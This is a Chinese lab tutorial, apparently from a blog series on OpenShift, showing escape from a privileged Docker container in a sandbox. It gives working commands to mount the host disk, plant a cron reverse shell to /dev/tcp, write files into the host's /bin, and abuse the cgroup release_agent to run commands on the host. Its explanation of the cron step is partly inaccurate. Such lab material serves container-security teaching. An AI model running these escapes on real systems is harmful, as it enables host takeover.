容器安全 - 利用特权模式运行的容器,实现容器逃逸和入侵
《OpenShift 4.x HOL教程汇总》
说明
建议使用以下环境模拟本文的容器逃逸:
- https://www.katacoda.com/bluedata/scenarios/centos
执行命令安装docker运行环境。
$ sudo yum install docker -y
实现容器逃逸
获取宿主机控制权
- 先查看当前本机的IP地址,本环节为“172.17.0.28”。
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 02:42:ac:11:00:1c brd ff:ff:ff:ff:ff:ffinet 172.17.0.28/16 brd 172.17.255.255 scope global eth0valid_lft forever preferred_lft foreverinet6 fe80::42:acff:fe11:1c/64 scope link valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:75:17:f8:81 brd ff:ff:ff:ff:ff:ffinet 172.18.0.1/24 brd 172.18.0.255 scope global docker0valid_lft forever preferred_lft foreverinet6 fe80::42:75ff:fe17:f881/64 scope link valid_lft forever preferred_lft forever
4: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ffinet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0valid_lft forever preferred_lft forever
5: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000link/ether 52:54:00:ed:59:fd brd ff:ff:ff:ff:ff:ff
- 查看当前的本地存储配置。注意当前环境有“/dev/vda”和“/dev/vdb”两个Disk。
$ sudo fdisk -lDisk /dev/vda: 105.9 GB, 105931341824 bytes, 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x00096aaeDevice Boot Start End Blocks Id System
/dev/vda1 * 2048 204799999 102398976 83 LinuxDisk /dev/vdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
- 查看宿主机的存储挂载点,注意此时宿主机中没有“overlay”的挂载点。
$ df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 733M 0 733M 0% /dev
tmpfs 748M 0 748M 0% /dev/shm
tmpfs 748M 8.9M 739M 2% /run
tmpfs 748M 0 748M 0% /sys/fs/cgroup
/dev/vda1 96G 5.5G 86G 6% /
tmpfs 150M 0 150M 0% /run/user/0
- 使用“privileged”参数运行容器。
$ sudo docker run -it --privileged ubuntu:14.04 /bin/bash
Unable to find image 'ubuntu:14.04' locally
14.04: Pulling from library/ubuntu
2e6e20c8e2e6: Pull complete
0551a797c01d: Pull complete
512123a864da: Pull complete
Digest: sha256:60840958b25b5947b11d7a274274dc48ab32a2f5d18527f5dae2962b64269a3a
Status: Downloaded newer image for ubuntu:14.04
- 在容器中查看存储设备,确认也能看到“/dev/vda”和“/dev/vdb”,注意有“/dev/vda1”,此设备为该容器和其外部宿主机共用的存储设备。
root@83828737236a:/# fdisk -lDisk /dev/vda: 105.9 GB, 105931341824 bytes
255 heads, 63 sectors/track, 12878 cylinders, total 206897152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00096aaeDevice Boot Start End Blocks Id System
/dev/vda1 * 2048 204799999 102398976 83 LinuxDisk /dev/vdb: 21.5 GB, 21474836480 bytes
16 heads, 63 sectors/track, 41610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
- 再次在宿主机上查看存储挂载,确认已经有名为“overlay”的,而且从
$ df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 733M 0 733M 0% /dev
tmpfs 748M 0 748M 0% /dev/shm
tmpfs 748M 8.9M 739M 2% /run
tmpfs 748M 0 748M 0% /sys/fs/cgroup
/dev/vda1 96G 5.5G 86G 6% /
tmpfs 150M 0 150M 0% /run/user/0
overlay 96G 5.5G 86G 6% /var/lib/docker/overlay/680aa5531b659630280f47bb60c22d41756bb273bf853c14ff2dd8071536aedf/merged
- 在容器内部新建“/host”目录,然后将宿主机的“/dev/vda1”挂载到容器内的“/host”上。
root@83828737236a:/# mkdir /host
root@83828737236a:/# mount /dev/vda1 /host
root@83828737236a:/# ls /host
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
- 向外部宿主机“/var/spool/cron/root”目录中写入cron文件,它可以在宿主机“7777”端口运行监听服务。
root@83828737236a:/# echo '* * * * * bash -i >& /dev/tcp/172.17.0.28/7777 0>&1'>> /host/var/spool/cron/root
- 此步在外部宿主机上执行。确认宿主机“7777”端口已经在监听。这样就可以通过该端口对容器宿主机发起攻击了。
$ nc -nvlp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
- 在容器中执行命令,向宿主机写一个入侵文件。
$ echo aaa>/host/bin/aaa
- 在宿主机上确认有入侵文件。
$ ll /bin/aaa
-rw-r--r--. 1 root root 4 Dec 2 03:08 /bin/aaa
获取宿主机的运行进程
- 以特权的方式运行容器。
$ sudo docker run --rm -it --privileged ubuntu bash
- 执行以下命令,它的效果是在宿主机上执行了“ps aux”命令,然后将结果被存储在容器内“/output”文件中
root@aeba8db0b728:/# mkdir /tmp/cgrp
root@aeba8db0b728:/# mount -t cgroup -o memory cgroup /tmp/cgrproot@aeba8db0b728:/# mkdir /tmp/cgrp/x
root@aeba8db0b728:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@aeba8db0b728:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@aeba8db0b728:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent root@aeba8db0b728:/# echo '#!/bin/sh' > /cmd
root@aeba8db0b728:/# echo "ps aux > $host_path/output" >> /cmd
root@aeba8db0b728:/# chmod a+x /cmdroot@aeba8db0b728:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
- 查看运行结果输出的文件内容,确认是宿主机的运行进程。
root@aeba8db0b728:/# cat /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 128184 6868 ? Ss 05:18 0:06 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root 2 0.0 0.0 0 0 ? S 05:18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? S< 05:18 0:00 [kworker/0:0H]
root 5 0.0 0.0 0 0 ? S 05:18 0:00 [kworker/u4:0]
root 6 0.0 0.0 0 0 ? S 05:18 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? S 05:18 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S 05:18 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 05:18 0:01 [rcu_sched]
root 10 0.0 0.0 0 0 ? S< 05:18 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/1]
。。。
- 为了验证,可在宿主机上运行以下命令,确认PID和其他信息同前面在容器中获得的信息是一样的。
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 128184 6868 ? Ss 05:18 0:06 /usr/lib/systemd/systemd --switched
root 2 0.0 0.0 0 0 ? S 05:18 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? S< 05:18 0:00 [kworker/0:0H]
root 5 0.0 0.0 0 0 ? S 05:18 0:00 [kworker/u4:0]
root 6 0.0 0.0 0 0 ? S 05:18 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? S 05:18 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S 05:18 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 05:18 0:01 [rcu_sched]
root 10 0.0 0.0 0 0 ? S< 05:18 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:18 0:00 [watchdog/1]
。。。
- 这样就可以针对宿主机上的运行进程发起攻击了。
容器安全 - 利用特权模式运行的容器,实现容器逃逸和入侵相关推荐
- linux 如何进入特权模式,如何以特权模式运行Docker CentOS?
1 基础知识 1.1 系统的简介 CentOS Linux是社区支持的发行版 CentOS Linux源于Red Hat免费提供给公众使用的Red Hat Enterprise Linux(RHEL) ...
- mysql容器操作_如何使用运行MySQL构建Docker容器?
我的目标是拥有一个具有运行MySQL服务的docker容器.所以每当我启动容器时,数据库都处于初始状态并且MySQL正在运行. 几乎一切都很好但是当我启动容器时MySQL服务没有运行.每次在控制台中我 ...
- docker宿主机访问容器_干货来啦!带你初探Docker逃逸
Docker是当今使用范围最广的开源容器技术之一,具有高效易用的优点.然而如果使用Docker时采取不当安全策略,则可能导致系统面临安全威胁. 本期安仔课堂,ISEC实验室的张老师将为大家介绍不同环境 ...
- 容器安全 - 非特权/非root用户运行容器,提升容器的运行安全
<OpenShift 4.x HOL教程汇总> 文章目录 以非特权方式运行容器 以非root用户运行容器 以非特权方式运行容器 以特权的方式运行容器,确认可以执行"fdisk&q ...
- 《Docker容器:利用Kubernetes、Flannel、Cockpit和Atomic构建和部署》——2.2 容器式Linux系统的Docker配置...
本节书摘来自异步社区<Docker容器:利用Kubernetes.Flannel.Cockpit和Atomic构建和部署>一书中的第2章,第2.2节,作者: [美]Christopher ...
- docker的容器管理和网络模式
文章目录 一: Docker 容器操作 1.1 容器创建 1.2 查看容器运行状态 1.3 启动容器 1.4 创建并启动容器 1.5 终止容器运行 1.6 容器的进入 1.6.1 使用 docker ...
- Docker——使用docker工具管理软件/组件的运行,镜像、容器、数据卷的基本概念,常用指令,使用docker搭建Java微服务运行环境
Docker--使用docker工具管理软件/组件的运行,镜像.容器.数据卷的基本概念,常用指令,使用docker搭建Java微服务运行环境 一.docker的安装和卸载 1.卸载 2.安装 3. 导 ...
- Linux Namespace系列(09):利用Namespace创建一个简单可用的容器
本文将演示如何利用namespace创建一个完整的容器,并在里面运行busybox.如果对namespace不是很熟悉,请先参考前面几遍介绍不同类型namespace的文章. busybox是一个Li ...
- 在非容器(集群)环境下运行dapr
作者:李俱顺 原文:https://www.4async.com/2021/03/2021-03-11-running-dapr-without-container/ 前一段时间一直关注的dapr正式 ...
最新文章
- 可伸缩系统的设计模式(译)
- Thrift架构~thrift中间语言的认识(只有它什么都不是,它才有可能什么都是)
- java.net.SocketException: 断开的管道 (Write failed) 错误,数据库隔一段时间就断开的问题...
- 迫零响应法用于MIMO系统
- 【Auto.js】[系统Intent]_系统设置页面的相关intent跳转
- tomcat如何修改java版本_Java程序员必备——Tomcat配置技巧Top10
- python 操作系统学习_操作系统学习
- mysql数据库总览_MySQL架构总览-查询执行流程-SQL解析顺序
- 强烈抗议故意审核不通过
- 给android studio安装新字体,如mac系统的monaco字体
- Linux 线程———详解
- Racket Cheat Sheet
- 如何清除谷歌浏览器中的counterflix广告病毒
- 投影仪问题Debug
- intel UHD graphics 620/630 -win7 驱动
- java微信公众号素材管理系统_微信公众平台后台素材管理
- 美团大众点评往届笔试面试题汇总
- JAVA数据类型的划分
- mysql8.0.20忘记密码_mysql8.0版本忘记密码修改密码
- Linux对大于2T的磁盘分区方法及创建逻辑卷LVM
热门文章
- java 乱序算法_前端面试(算法篇) - 数组乱序
- sata接口 图解 定义_硬盘有几个接口 硬盘不同接口介绍【详解】
- C语言求正弦的泰勒展开,用泰勒公式求sin(x)的近似值
- linnux 流量控制模块tc_FS4008-40-08-CV-A气体质量流量计【汉川仪器】阿坝资讯
- 斜视术后融合训练方法_做斜视手术两年后又复发了怎么办?
- 宁夏师范大学本科计算机理工,2019年宁夏师范学院区内二批普通本科理工类(录取905人,共16个专业)...
- 优秀网页案例教你如何排好内容页
- 抓住眼球的美食海报模板|总有设计技法,吸引住你
- UI设计实用素材|数据可视化UX套件
- C++类模板 简单示例